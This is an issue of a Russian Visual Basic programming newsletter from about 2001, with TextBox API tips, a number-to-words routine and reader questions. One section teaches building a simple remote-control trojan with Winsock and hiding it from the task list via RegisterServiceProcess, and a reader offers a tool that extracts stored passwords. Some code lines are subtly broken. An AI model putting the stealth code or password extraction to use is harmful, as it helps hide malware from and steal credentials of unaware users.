№29
Сегодня в выпуске:

# E-Mail группа "СообЧа-Visual BASIC":
О группе
Разные разности при работе с TextBox'ом

# Полезные коды Visual BASIC:
Сумма прописью

# Практикум на примерах:
Создание трояна на VB (Часть 2 - Сервер)

# В разделе "вопросы/ответы":
Вопросы читателей

# Рубрика "Объявления"
Объявления

E-Mail группа "СообЧа-Visual BASIC"

Разные разности при работе с TextBox'ом
Шаронов Игорь Александрович Июнь 2001

Необходимо добавить в модуль:

Option Explicit

Public Const EM_EMPTYUNDOBUFFER = &HCD
Public Const EM_CANUNDO = &HC6
Public Const EM_GETMODIFY = &HB8
Public Const EM_SETMODIFY = &HB9
Public Const EM_UNDO = &HC7
Public Const GWL_STYLE = (-16)
Public Const ES_NUMBER = &H2000
Public Const ES_UPPERCASE = &H8&
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long_
lParam As Any) As Long

Запрос: можно отменить последнее действие?
SendMessage(Text1.hwnd, EM_CANUNDO, 0, 0)
Запрос: изменился ли текст?
SendMessage(Text1.hwnd, EM_GETMODIFY, 0, 0)
Установить: изменился текст или нет
Dim DirtyFlag As Long
DirtyFlag = SendMessage(Text1.hWnd, EM_GETMODIFY, ByVal 0&, ByVal 0&)
If DirtyFlag = 1 Then
MsgBox "Содержимое Text Box изменилось"
Else
MsgBox "Содержимое Text Box не изменилось"
End If
End Sub

Отменить последнее действие
If SendMessage(Text1.hwnd, EM_CANUNDO, 0, 0) <> _
_ 0 Then SendMessage(Text1.hwnd, EM_UNDO, 0, 0)
Позволить вводить в ТекстБокс только определенные символы
Dim l As Long, Dim r As Long
l = GetWindowLong(Text1.hwnd, GWL_STYLE)
r = SetWindowLong(Text1.hwnd, GWL_STYLE, l Or ES_NUMBER) 'только цифры
l = GetWindowLong(Text1.hwnd, GWL_STYLE)
r = SetWindowLong(Text1.hwnd, GWL_STYLE, l Or ES_UPPERCASE) 'буквы в в. регистре
l = GetWindowLong(Text1.hwnd, GWL_STYLE)
r = SetWindowLong(Text1.hwnd, GWL_STYLE, l Or ES_LOWERCASE) 'буквы в н. регистре

Очистить буфер отмены
Call SendMessage(Text1.hwnd, EM_EMPTYUNDOBUFFER, 0, 0)
Call SendMessage(Text1.hwnd, EM_SETMODIFY, False, 0)

Перебор контролов на предмет изменения их содержимого
Public Sub SaveData()
Dim itextBoxCount As Integer
For itextBoxCount = 0 To Controls.Count - 1
If TypeOf Controls(itextBoxCount) Is TextBox Then
If Changed(Controls(itextBoxCount)) Then
'Place code to save data here
End If
End If
Next
End Sub

Public Function Changed(ByVal ctlTextBox As TextBox) As Boolean
Changed = SendMessage(ctlTextBox.hwnd, EM_GETMODIFY, 0, 0) <> 0
End Function

Перебор массива TextBox'ов
Private Sub Text1_KeyDown(Index As Integer, KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then 'нажата клавиша ENTER
NewIndex = Index + 1 'вычисляется следующий по индексу TextBox
On Error Resume Next 'если достигнут последний индекс
Text1(NewIndex).SetFocus 'операция получения ввода следующего ТекстБокса
End If
End Sub

Полезные коды Visual BASIC

Сумма прописью

На форму 2 текстовых поля - txtInput (число ввод) и txtOut (вывод) и 2 кнопки - cmdInput (перевести) и вставь код:

Public Function Num3(trojka$, i%)
Dim sl$(1 To 3, 0 To 3)
sl$(1, 1) = "миллион "
sl$(2, 1) = "тысяча "
sl$(3, 1) = "рубль "
'-
sl$(1, 2) = "миллиона "
sl$(2, 2) = "тысячи "
sl$(3, 2) = "рубля "
'-
sl$(1, 3) = "миллионов "
sl$(2, 3) = "тысяч "
sl$(3, 3) = "рублей "
sl$(3, 0) = "рублей "
'-
ed$ = Right$(trojka$, 1)
des$ = Mid$(trojka$, 2, 1)
sot$ = Left$(trojka$, 1)
'-
If ed$ = "0" Then r3$ = ""
If ed$ = "1" Then If i% = 2 Then r3$ = "одна " Else r3$ = "один "
If ed$ = "2" Then If i% = 2 Then r3$ = "две " Else r3$ = "два "
If ed$ = "3" Then r3$ = "три "
If ed$ = "4" Then r3$ = "четыре "
If ed$ = "5" Then r3$ = "пять "
If ed$ = "6" Then r3$ = "шесть "
If ed$ = "7" Then r3$ = "семь "
If ed$ = "8" Then r3$ = "восемь "
If ed$ = "9" Then r3$ = "девять "
'-
If des$ = "0" Then r2$ = ""
s$ = des$ & ed$
If s$ = "10" Then r3$ = "десять "
If s$ = "11" Then r3$ = "одиннадцать "
If s$ = "12" Then r3$ = "двенадцать "
If s$ = "13" Then r3$ = "тринадцать "
If s$ = "14" Then r3$ = "четырнадцать "
If s$ = "15" Then r3$ = "пятнадцать "
If s$ = "16" Then r3$ = "шестнадцать "
If s$ = "17" Then r3$ = "семнадцать "
If s$ = "18" Then r3$ = "восемнадцать "
If s$ = "19" Then r3$ = "девятнадцать "
'-
If des$ = "2" Then r2$ = "двадцать "
If des$ = "3" Then r2$ = "тридцать "
If des$ = "4" Then r2$ = "сорок "
If des$ = "5" Then r2$ = "пятьдесят "
If des$ = "6" Then r2$ = "шестьдесят "
If des$ = "7" Then r2$ = "семьдесят "
If des$ = "8" Then r2$ = "восемьдесят "
If des$ = "9" Then r2$ = "девяносто "
'-
If sot$ = "0" Then r1$ = ""
If sot$ = "1" Then r1$ = "сто "
If sot$ = "2" Then r1$ = "двести "
If sot$ = "3" Then r1$ = "триста "
If sot$ = "4" Then r1$ = "четыреста "
If sot$ = "5" Then r1$ = "пятьсот "
If sot$ = "6" Then r1$ = "шестьсот "
If sot$ = "7" Then r1$ = "семьсот "
If sot$ = "8" Then r1$ = "восемьсот "
If sot$ = "9" Then r1$ = "девятьсот "
'-
If trojka$ <> "000" Then j% = (-1) * CInt(ed$ = "1" And des$ <> "1") _
+ (-2) * CInt((ed$ = "2" Or ed$ = "3" Or ed$ = "4") And des$ <> "1")
If j% = 0 And trojka$ <> "000" Then j% = 3
trojka$ = r1$ & r2$ & r3$ & sl$(i%, j%) 'формирование тройки цифр и
'слова,например-"123 тысячи"
End Function

Private Sub cmdinput_Click()
w$ = txtinput.Text 'Входное число - текст типа "123.45",защита
'"от дурака" не сделана
'выделение рублей в записи числа и удаление левых пробелов
rubli$ = LTrim$(Left$(Str(Val(w$) * 100), _
Len(Str(Val(w$) * 100)) - 2))
cop$ = RTrim$(Right$(Str(Val(w$) * 100), 2)) 'выделение дробной части
'числа и удаление правых пробелов

Do While Len(rubli$) < 9
rubli$ = "0" & rubli$
Loop
res$ = ""
For i% = 1 To 3
trojka$ = Mid$(rubli$, 3 * i% - 2, 3)
Call Num3(trojka$, i%) ' Вызов функции формирования готовой тройки,
'типа "123 тысячи"
res$ = res$ & trojka$ ' Накопление таких троек
Next i%
res$ = UCase$(Left$(res$, 1)) & Right$(res$, Len(res$) - 1) 'Запись
'первой буквы res$ в верхнем регистре

c$ = " копеек" ' Блок добавления копеек
If (Right$(cop$, 1) = "1" And Left$(cop$, 1) <> "1") Then c$ = _
" копейка"
If ((Right$(cop$, 1) = "2" Or Right$(cop$, 1) = "3" Or _
Right$(cop$, 1) = "4") And Left$(cop$, 1) <> "1") Then _
c$ = " копейки"
If Left(res$, 1) <> "Р" Then res$ = res$ & cop$ & c$ Else _
res$ = cop$ & c$

txtout.Text = res$ ' Выход текста
End Sub

Практикум на примерах

Создание трояна на VB (Часть 2 - Сервер)

Статья взята из рассылки "Программирование и дизайн (http://subscribe.ru/catalog/comp.soft.prog.prs)" и создана только для ознакомления с возможностями MS Winsock контрола

Поставьте на форму 2 текстовых поля и назовите их "IP" и "Port", затем две кнопки с надписями "Подключиться" и "Отключиться", и 3 кнопки с надписями "Бип!", "Сообщение" и "Закрыть сервер". Имена кнопок оставьте стандартными. Теперь добавьте Winsock Control и назовите его "ws". Поскольку наш сервер работает на 123 порту, то свойству Text второго текстового поля можно сразу присвоить значение "123". Текст первого поля будет значение IP адреса данного компьютера. Для этого пишем:

Private Sub Form_Load()
IP.Text = ws.LocalIP
End Sub Private Sub Command1_Click()
ws.Close
ws.RemoteHost = IP
ws.RemotePort = Port
ws.Connect
End Sub

Private Sub Command2_Click()
ws.Close
End Sub

При нажатии на кнопку "Подключиться", мы закрываем связь, указываем удалЈнный IP и порт и подключаемся. Кнопка "Отключиться" просто закрывает связь.

Private Sub Command3_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "BEEP"
End Sub

Private Sub Command4_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "MSG"
End Sub

Private Sub Command5_Click()
If ws.State <> sckConnected Then Exit Sub
ws.SendData "END"
End Sub

В последних трех кнопках программа сначала проверяет связь, и, если соединено, то посылает команду.

Теперь компилируем программу в "client.exe". Можно протестировать троян. Для этого запустите "server.exe", а затем "client.exe" и попробуйте подключиться. Если не было ошибок, то понажимайте на кнопки команд. Теперь сервер можно закрыть из списка задач (Ctrl+Alt+Delete).

Вот в принципе и всЈ. Если вы хотите скрыть своего трояна из списка задач, то в объявлениях формы сервера подключите функцию RegisterServiceProcess, а также измените Form_Load:

Private Declare Function RegisterServiceProcess Lib _
"kernel32.dll" (ByVal dwProcessId As Long, ByVal _
dwType As Long) As Long

Private Sub Form_Load()
RegisterServiceProcess 0, 1
Do
If ws.State <> sckConnected And ws.State <> sckListening Then
ws.Close
ws.Listen
End If
DoEvents
Loop
End Sub

Вопросы / Ответы

Вопросы читателей

Отправитель Деменков Антон
Уважаемые гуру VB, подскажите пожалуйста как можно скрыть процесс выполнения программы VB в Windows2000?

Отправитель Шамиль
Что такое WScript и где взять его описание?

Отправитель REX
Привет! Подскажите пожалуйста как закачать (отправить)текстовые файлы, из Интернета с помощью FTP соединения. Или киньте в меня HELP'ом для Microsoft Internet Transfer Control (MSINET.OCX). А ещё лучше, если вы мне дадите примерчик. В ответ одарю вас исходниками программки для просмотра локальных паролей для выхода в интернет, почтовых паролей и т.д. из файла xxx.pvl.

Объявления

Требуются люди
Хочу напомнить, что еще пусты многие вакансии рассылки:
- Рубрика "Рецензия книг"
- Рубрика "Практикум на примерах"
Также можно просто присылать коды.